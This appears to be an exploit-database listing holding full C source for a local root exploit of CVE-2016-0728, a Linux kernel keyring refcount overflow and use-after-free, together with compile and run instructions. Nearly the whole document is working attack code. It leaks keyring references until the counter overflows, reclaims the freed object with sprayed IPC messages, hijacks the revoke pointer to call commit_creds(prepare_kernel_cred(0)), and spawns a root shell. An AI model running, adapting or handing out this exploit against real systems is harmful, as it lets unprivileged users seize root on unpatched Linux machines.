Linux Kernel REFCOUNT Overflow / Use-After-Free

                							

                # Exploit Title: Linux kernel REFCOUNT overflow/Use-After-Free in keyrings
# Date: 19/1/2016
# Exploit Author: Perception Point Team
# CVE : CVE-2016-0728

/* CVE-2016-0728 local root exploit
    modified by Federico Bento to read kernel symbols from /proc/kallsyms
    props to grsecurity/PaX for preventing this in so many ways

    $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall
    $ ./cve_2016_072 PP_KEY */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*  
_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff810bb050)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff810bb370)



struct key_type {
  char * name;
       size_t datalen;
       void * vet_description;
       void * preparse;
       void * free_preparse;
       void * instantiate;
       void * update;
       void * match_preparse;
       void * match_free;
       void * revoke;
       void * destroy;
};

/* thanks spender - Federico Bento */
static unsigned long get_kernel_sym(char *name)
{
  FILE *f;
  unsigned long addr;
  char dummy;
  char sname[256];
  int ret;

  f = fopen("/proc/kallsyms", "r");
  if (f == NULL) {
    fprintf(stdout, "Unable to obtain symbol listing!\n");
    exit(0);
  }

  ret = 0;
  while(ret != EOF) {
    ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
    if (ret == 0) {
      fscanf(f, "%s\n", sname);
      continue;
    }
    if (!strcmp(name, sname)) {
      fprintf(stdout, "[+] Resolved %s to %p\n", name, (void *)addr);
      fclose(f);
      return addr;
    }
  }

  fclose(f);
  return 0;
}

void userspace_revoke(void * key) {
       commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
  const char *keyring_name;
  size_t i = 0;
         unsigned long int l = 0x100000000/2;
  key_serial_t serial = -1;
  pid_t pid = -1;
         struct key_type * my_key_type = NULL;

         struct {
    long mtype;
    char mtext[STRUCT_LEN];
  } msg = {0x4141414141414141, {0}};
  int msqid;

  if (argc != 2) {
    puts("usage: ./keys <key_name>");
    return 1;
  }

       printf("[+] uid=%d, euid=%d\n", getuid(), geteuid());
  commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
       prepare_kernel_cred =  
(_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
  if(commit_creds == NULL || prepare_kernel_cred == NULL) {
    commit_creds = (_commit_creds)COMMIT_CREDS_ADDR;
                 prepare_kernel_cred =  
(_prepare_kernel_cred)PREPARE_KERNEL_CREDS_ADDR;
                 if(commit_creds == (_commit_creds)0xffffffff810bb050  
|| prepare_kernel_cred == (_prepare_kernel_cred)0xffffffff810bb370)
                   puts("[-] You probably need to change the address of  
commit_creds and prepare_kernel_cred in source");
  }

       my_key_type = malloc(sizeof(*my_key_type));

       my_key_type->revoke = (void*)userspace_revoke;
       memset(msg.mtext, 'A', sizeof(msg.mtext));

       // key->uid
       *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
       //key->perm
       *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

       //key->type
       *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

       if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
            perror("msgget");
           exit(1);
       }

       keyring_name = argv[1];

  /* Set the new session keyring before we start */

  serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
  if (serial < 0) {
    perror("keyctl");
    return -1;
       }

  if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL |  
KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
    perror("keyctl");
    return -1;
  }


  puts("[+] Increfing...");
       for (i = 1; i < 0xfffffffd; i++) {
           if (i == (0xffffffff - l)) {
                l = l/2;
                 sleep(5);
           }
           if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
                 perror("[-] keyctl");
                 return -1;
           }
       }
       sleep(5);
       /* here we are going to leak the last references to overflow */
       for (i=0; i<5; ++i) {
           if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
                 perror("[-] keyctl");
                 return -1;
           }
       }

       puts("[+] Finished increfing");
       puts("[+] Forking...");
       /* allocate msg struct in the kernel rewriting the freed keyring  
object */
       for (i=0; i<64; i++) {
           pid = fork();
           if (pid == -1) {
                 perror("[-] fork");
                 return -1;
           }

           if (pid == 0) {
                 sleep(2);
                 if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                     perror("[-] msgget");
                     exit(1);
                 }
                 for (i = 0; i < 64; i++) {
                     if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
                           perror("[-] msgsnd");
                           exit(1);
                     }
                 }
                 sleep(-1);
                 exit(1);
           }
       }

       puts("[+] Finished forking");
       sleep(5);

       /* call userspace_revoke from kernel */
       puts("[+] Caling revoke...");
       if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
           perror("[+] keyctl_revoke");
       }

       printf("uid=%d, euid=%d\n", getuid(), geteuid());
       execl("/bin/sh", "/bin/sh", NULL);

       return 0;
}


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